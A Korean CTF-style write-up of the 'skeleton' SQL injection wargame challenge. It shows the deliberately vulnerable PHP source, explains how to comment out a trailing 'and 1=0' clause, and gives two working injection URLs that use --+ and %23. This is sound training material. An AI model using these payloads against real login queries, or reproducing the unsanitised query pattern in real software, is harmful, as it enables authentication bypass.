<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
기존 문제와 상당히 흡사한 문제인데 pw
뒤에 and 1=0
으로 인해 정상적으로는 무슨 짓을 해도 거짓이 나오게 되는 쿼리문이다.
뒤에 and 1=0
만 날려버리면 평소처럼 인젝션을 시도할 수 있다. 이럴 때 그냥 주석을 쓰면 바로 해결된다. SQL
에서는 주석을 2가지로 사용할 수 있다.
--
를 이용하면 --
이후의 쿼리문을 주석 처리할 수 있다.
여기서 중요한 점은 --
뒤에 공백이 들어가야 한다는 것이다. 따라서 URL에 --+
이런 방식으로 입력해야 하면 오류는 안 발생할 것이다.
https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27||id=%27admin%27--+
위 방법은 공백이 무조건 필요해서 뭔가 나는 손이 잘 안 간다. 그냥 #
이용하면 공백 상관없이 바로 주석처리가 되기 때문에 많이 애용하는 방법이다.
그냥 URL에 #
를 입력하면 십중팔구 입력이 안될 것이다. URL 인코딩을 이용하여 %23
으로 입력해야 한다.
https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27||id=%27admin%27%23